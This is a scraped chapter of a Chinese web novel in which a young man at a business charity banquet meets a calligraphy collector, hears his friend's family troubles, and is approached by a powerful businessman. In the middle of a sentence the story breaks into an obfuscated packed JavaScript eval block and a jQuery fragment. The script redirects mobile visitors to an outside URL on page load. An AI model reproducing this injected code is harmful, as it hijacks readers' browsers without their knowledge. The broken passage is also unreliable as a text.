21.【第021章】

作品:《漂亮替身玩转豪门修罗场

    晚宴就定在五楼。


    乐隐和孟清然都是第一次参加这样的商圈宴会,自然而然地结伴同行。


    两人刚进入宴会厅,一道身影就主动迎了上来,“乐小先生,请留步。”


    乐隐定眼一看,是刚才拍卖会坐在前排的陈老董事长。


    他立刻站定,惊讶之余不失礼貌笑容,“陈老先生,您在等我?”


    “乐小先生,刚才在拍卖期间,我意外地听到了两耳朵,所以想再冒昧问问——”


    陈远辉先是说明了自己等在这里的理由,后才追问,“关于那幅书法作品,是你亲自题写的?”


    乐隐想起了对方刚才的拍卖出价,大方承认,“区区几个拙字,承蒙陈老先生褒奖。”


    陈远辉眼中的欣赏更浓,“没想到乐小先生年纪轻轻,就能写得这么一手好字!不知道师从何处?”


    “……”


    乐隐微怔,往事随着这句话开始浮现。


    他十五岁时走投无路,所幸得到了一位餐馆小老板的关照——


    对方考虑到乐隐是个未成年,又举目无亲,只好对外谎称他是自己远方亲戚家的小外甥,临时过来帮自己看看店、打打杂。


    就这样,乐隐得到了人生中第一份包吃包住的工作。


    老板的父亲是一位喜欢钻研书法的老教授,平时打了烊,就喜欢在店里的大圆桌上练字。


    乐隐小时候在母亲的带领下就有过书法启蒙,他一开始只敢站在边上观摩,悄咪咪地用指尖跟着学。


    但很快地,对方瞧出了他的兴趣和天赋,于是好为人师地教他起笔练字。


    只可惜好景不长——


    一年半之后,老板父亲被查出了癌症。


    为了陪老父亲北上治疗,老板不得不关闭了小餐馆,而乐隐又开始了独自一人的流浪生活。


    “乐隐?”


    “乐小先生?”


    孟清然和陈远辉都瞧出了乐隐的出神,一前一后地出了声。


    乐隐迅速从回忆中剥离,调整心绪,“教我书法的是一位老教授,不过,他前些年就已经去世了。”


    陈远辉一听这话,遗憾地叹了口气。


    他顿了顿,这才说出自己的不情之请,“乐小先生,不知道你愿不愿意再题字一幅?”


    “实不相瞒,我这上了年纪,日常就只有收藏书法这么一个爱好,刚才和你的那副作品失之交臂,越想越觉得可惜。”


    乐隐欣然应允,“是陈老先生抬爱了,我改日有空就再写一幅,让人给您送去。”


    “那敢情好!”


    陈远辉瞧见乐隐这落落大方的模样,心里的好感度直线上升。


    他马不停蹄地看向身后的助理。


    后者眼疾手快地给乐隐递上一张名片,“乐先生,这是陈董以及我的联系方式。”


    乐隐礼貌用双手接过,“好的。”


    等到陈远辉和他的助理离开后,乐隐才认真端详着手里的名片。


    “日新集团?”


    乐隐默念着上面的企业名称,眉梢微挑。


    他前阵子才在金融教学视频里面看到过科普,日新集团旗下有着近百家的民营银行,近十年的发展势头很猛,线上对接合作的企业公司更是不计其数。


    没想到能收获这么一条意外的人脉,这趟着实不亏。


    乐隐将这两张名片收入自己的西装口袋,用眼神示意孟清然往无人的甜品区走。


    孟清然环视了一圈,口吻放松了下来,“看来孟桓真是被你气走了,到现在都没回来。”


    乐隐从甜品台上挑了一块蛋糕,关切询问,“清然,你和孟桓不是堂兄弟吗?为什么他一直针对你?”


    “……”


    孟清然不自觉地陷入了沉默。


    他想起了乐隐今天对自己的帮助,过了好一会儿才坦诚开了口,“说起来,还是长辈之间的恩怨。”


    “我爷爷这辈子前后娶了两任老婆,我亲奶奶是他的前妻,继奶奶是第/三/者上位,又生了一个儿子。”


    “从我记事起,老人家就一直偏心我小叔叔一家。”


    “我爸妈是自由恋爱,但我爷爷看不上我妈是小县城出身,极力反对这段婚姻,父子的关系一度闹得很僵。”


    孟家一开始是做翡翠玉石生意,后来才借着人脉转投了黄金。


    “当年分家时,爷爷将接连亏损的翡翠产线丢给了不听话、认死理的我爸,却把能赚钱的黄金连锁生意全盘交给了我的小叔。”


    “再后来,我爸突发心梗去世,只留下了一笔早年间数不清的产业烂债,后来催债的人频繁上门,害得我妈连丢了好几份工作,她不得不带着我和我妹回到了孟家老宅讨生活。”


    孟老爷子偏心,却不算狠心。


    老人家承诺会给他们母子、母女三人一定的生活费,也会供他们兄妹读到大学毕业,但坏就坏在——


    家里管钱的人是孟清然的继奶奶,而后者格外宠溺孟桓这位亲孙子!


    寄人篱下,难免就会遭到冷待。


    从小到大,孟桓对于孟清然的刁难何止一次两次?


    孟清然有心无力,“我不是没有尝试过反抗,但每次都会换来变本加厉的报复,家里长辈更是睁着眼睛说瞎话。”


    “孟桓就算不来找我的麻烦,也会去为难我妈和我妹妹。”


    乐隐听明白了大概,眸底晃过一丝厌恶,“上梁不正下梁歪。”


    孟清然将手中的果汁一饮而尽,尽量压住自己的满腔苦涩。


    现在的他,只想要尽快地在事业上站稳脚跟,好带着母亲和妹妹离开孟家、重新过上安稳日子。


    孟清然不喜欢宣扬自己的苦难生活,转移话题,“乐隐,我先出去给我妈打个电话,告诉她耳饰已经找回来了。”


    “好。”


    乐隐没有阻拦,“我在这儿等你。”


    等到孟清然走远后,乐隐这才专注地攻略起手中的小蛋糕。


    蛋糕胚有点发硬,口感不是很好。


    乐隐有些失望地蹙眉,忽然间,宴厅里就响起了一阵小小的骚动。


    “景先生来了!”


    “快,快过去打声招呼!”


    “……”


    景先生?


    帝京现任的商会主席?


    乐隐想起孟清然刚才在拍卖会上的简短科普,不由朝着喧闹处投去了视线——


    此刻,一名身形高挑的男人在侍者的陪同下走了进来。


    他穿着银灰色的西装三件套,没有任何多余的暗纹点缀,衬衫的纽扣一丝不苟地系到了最顶端,胸针似乎是一枚暗绿色的翡翠,随着他的步伐偶尔闪动着低调的光泽。


    不少宾客都簇拥了上去,企图和他交谈、握手。


    对方站在人群中心,看似礼貌倾听着众人的寒暄,嘴角从始至终只挂着一抹淡淡的弧度。


    看似温和儒雅,实则淡漠疏离。


    乐隐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343635|198400||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脑海中下意识地冒出这点直观印象,他没有像其他宾客那样挤着上前交际,而是很有分寸地待在原地。


    他重新低下头,本着不浪费的原则打算将手里的小蛋糕吃完。


    “……”


    景珩不着痕迹地在宴会厅里搜寻了一圈,才在偏角的甜品区找到了目标身影。


    对方似乎完全不关注这边的动静,反倒很专注地和手里的蛋糕较劲。


    “各位,麻烦让让。”


    景珩不疾不徐地推了一下自己的眼镜,镜片折射出一道冷光,衬得眸底的清冷又明显了几分。


    随着这声不算命令的示意,围绕在他身边的人却很自觉让出了一条道。


    在众人的注视下,景珩径直朝着无人关注的甜品区走了过去。


    “……”


    在宴厅骤然安静的那一瞬间,乐隐就已经察觉到了,他有些不明所以地抬头,目光霎时涌出一丝意外——


    原本被众人簇拥着的景珩独自走到了他所在的甜品区,又在离他一步之遥的地方停下。


    宾客们瞧见这一幕,不由面面相觑,“景先生是去找乐小少爷了?他们俩是怎么认识的?”


    “不知道啊,之前没听说过他们两人有交际啊?”


    “我看这乐小少爷不显山、不露水的,说不定私下人脉广着呢!”


    视线相对。


    乐隐没能听清众人的猜测,只是沉默地捏紧了叉子。


    景珩捕捉到眼前人一晃而过的犹豫神色,嘴角仍然扬着那点标准的弧度,“乐小先生,你好。”


    “景先生?你认识我?”


    乐隐的眉心先是溢出一抹意外,旋即覆上些许困惑,“不好意思,我记得我们之前应该没有见过面?”


    景珩观察着眼前人神色的细微变动,瞳孔最深处的警惕散了些。


    看来是他多心了?


    对方现在这样子,不像是会利用六六接近他的人。


    “是没见过面,我来只是想要感谢一下乐小先生——”


    景珩主动伸出了示好的右手,挑了一个不出错的借口,“感谢你在最后一轮的带头捐款,给出了一个很有趣的捐款理由和数额。”


    乐隐礼貌回应,“景先生客气了。你们组织这场慈善活动才辛苦,举办得也很漂亮。”


    他放下手里的叉具,伸手与之回握,又点到为止地分开。


    “……”


    大约是一直捏着银质叉子,乐隐的指尖透着点凉。


    景珩清晰地感知到那残存在掌心的微妙温度,再出口依旧是文质彬彬的论调,“还是需要大家的共同监督。”


    “如果乐小先生对这次活动有任何的建议,欢迎随时提出来。”


    乐隐听见这声纯属官方的腔调,还真追问,“有任何建议都可以向景先生提出来?”


    “当然。”景珩顺势询问,“有何指教?”


    “指教算不上,但我确实有点小建议。”乐隐托起自己左手上还剩了三分之二的蛋糕,煞有其事地说,“这蛋糕真不好吃,希望下回改进。”


    “……”


    景珩听见这声孩子气的提议,意外怔住了。


    当意识到对方确实是在认真提出要求后,他唇侧的弧度不自觉地脱离了平日里的克制,“好的。”


    回应声里带了点微不可察的真切笑意,甚至还有一分不应该对外的纵容。


    “谢谢乐小先生的宝贵意见,我让他们下次改进。”